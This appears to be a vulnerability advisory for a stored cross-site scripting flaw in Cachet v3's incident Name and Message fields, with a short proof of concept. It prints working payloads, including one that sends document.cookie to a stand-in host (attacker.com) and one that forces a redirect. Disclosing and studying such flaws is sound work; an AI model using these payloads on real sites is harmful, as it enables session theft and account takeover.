PT-2026-120328 · Packagist · Cachethq/Cachet
Publicado
2026-10-20
·
Atualizado
2026-10-20
CVSS v4.0
4.8
Média
| Vetor | AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N |
Summary
A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.
Details
The incident Name and Message fields do not properly sanitize HTML event handler attributes. While
Affected endpoint: /dashboard/incidents/
Affected fields: Incident Name, Incident Message
Affected version: Cachet v3
PoC
- Log in as an authenticated user
- Navigate to /dashboard/incidents/
- Create a new incident
- Insert the following payloads in the Name and Message field:
Payload 1 — Confirm XSS execution:
<img src=x onerror="alert(1)">Step 2 — Cookie/token exfiltration:
<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">Step 3 — Forced redirect to sensitive page:
<img src=x onerror="window.location='/dashboard/manage-customization'">- Save the incident
- Navigate to the public status page
- Payload executes in the victim's browser
Payload 1
Payload 2
Stored XSS affecting all users who view the public status page.
An attacker can:
- Confirm script execution via alert popup
- Steal session cookies and XSRF tokens from authenticated users
- Silently redirect victims to sensitive pages like
/dashboard/manage-customization
This vulnerability could lead to full account takeover of any user who views the status page, including administrators.
Correção
XSS
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Cachethq/Cachet